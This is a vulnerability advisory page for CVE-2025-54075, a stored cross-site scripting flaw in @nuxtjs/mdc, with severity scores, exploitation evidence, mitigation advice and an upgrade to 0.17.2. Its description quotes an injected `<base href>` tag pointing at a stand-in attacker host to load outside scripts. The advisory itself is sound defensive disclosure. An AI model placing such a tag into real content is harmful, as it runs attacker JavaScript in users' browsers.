Skip to main content
CVE-2025-54075VulnerabilityPublished Updated

CVE-2025-54075: nuxt-modules mdc · Cross-site Scripting

Affects nuxt-modules mdcSource CVE Database V5

0

Not known to be exploited · CVSS 8.3 High : upgrade to 0.17.2 soon.

Data as of 26 Oct 2026, 06:26 UTC

CVSS 3.1 base score
8.3High
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.3% chance of exploitation in 30 days – higher than 27% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 0.17.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 18 Jul 2025

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 2026-10-26.

What to do

Upgrade @nuxtjs/mdc to 0.17.2.

Affected software

ProductAffectedFixed in
npm@nuxtjs/mdcpkg:npm/@nuxtjs/mdcOther threatsAffected
  • <0.17.2
Fixed in
  • 0.17.2

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

European organizations should immediately upgrade the @nuxtjs/mdc module to version 0.17.2 or later to apply the official fix. Additionally, they should audit all systems that render Markdown content to ensure no untrusted input can inject HTML elements like <base>. Implement strict input validation and sanitization on Markdown inputs, possibly using a whitelist approach to allowed tags and attributes. Employ Content Security Policy (CSP) headers that restrict script and resource loading to trusted domains, mitigating the impact of any injected malicious URLs. Regularly review and monitor logs for unusual requests or content submissions that could indicate exploitation attempts. For internal tools, consider restricting Markdown editing permissions to trusted users only. Finally, conduct security awareness training for developers and content authors about the risks of injecting raw HTML in Markdown and the importance of using updated libraries.

Description

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

References

Community reviews

Loading reviews…